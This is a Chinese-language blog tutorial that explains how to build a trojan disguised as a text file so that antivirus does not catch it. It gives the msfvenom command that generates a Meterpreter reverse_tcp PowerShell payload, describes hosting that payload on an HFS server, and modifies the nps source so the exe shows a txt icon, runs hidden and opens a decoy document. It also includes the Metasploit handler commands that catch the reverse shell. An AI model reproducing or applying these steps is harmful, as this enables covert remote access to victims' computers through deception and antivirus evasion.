伪造txt文本免杀
Nps 执行 powershell 绕过杀软
概述
https://www.jianshu.com/p/2041b89ff572
https://zhuanlan.zhihu.com/p/81344955
可以先参考下小白之前的文章
本次思路大致是这样的:
使用msf生成powershell脚本,并将其放在web服务器上。通过nps 执行 powershell命令(例如:IEX。。。。。。。。)当然已有大佬将源码公https://github.com/Ben0xA/nps。小白这次还是对其源码修改,加入社工的元素。
Frp公网映射
https://www.jianshu.com/p/2041b89ff572
可以参考小白的这篇文章。
Msfveom生成powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f psh-reflection >lly_360_4.ps1
![](https://img.haomeiwen.com/i18872524/af56b35d54f38ebf.jpg)
生成的powershell大致是这样的
![](https://img.haomeiwen.com/i18872524/60c997d8104bfa7d.jpg)
搭建简易hfs服务器
网上拥有很多搭建方式,当然你也可以使用tomcat,nignx等等。本次试验我用的的hfs,将ps1脚本上传hfs上。
![](https://img.haomeiwen.com/i18872524/75b437680403be04.jpg)
C#修改nps源码
替换一个txt图标。
![](https://img.haomeiwen.com/i18872524/998a27b27c7811c6.jpg)
无黑框运行
![](https://img.haomeiwen.com/i18872524/01b07a3132a880fb.jpg)
写一个创建txt文档的函数。
![](https://img.haomeiwen.com/i18872524/146166c14f73bcbb.jpg)
在木马运行当前路径的上一层,打开一个txt,这样不易被发现。实现的功能是用户双击exe后,弹出一个txt文档。
![](https://img.haomeiwen.com/i18872524/f653355cd6fee989.jpg)
Msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
![](https://img.haomeiwen.com/i18872524/7580df3a3880af40.jpg)
![](https://img.haomeiwen.com/i18872524/15e3dbbe3327ba18.jpg)
![](https://img.haomeiwen.com/i18872524/7b194905bf761a6b.jpg)
小白之前的思路是这样的:目标双击exe,在当前目录下打开一个txt文档,将进程移入其他方,并删除exe自身文件。
但是无奈于能力有限,不会做,那就只能在当前目录的上一层创建并打开txt文档。(希望大佬可以给小白一些建议)。
当然只有洁身自好,才是更好的防护方法。下面这个文章好像让我明白了些什么,哈哈哈。(希望我的能让大家提供安全意识)https://www.zhihu.com/question/322029091/answer/672283363?utm_source=wechat_session&utm_medium=social&utm_oi=949385938997166080&hb_wx_block=1
YLL
2019-9-20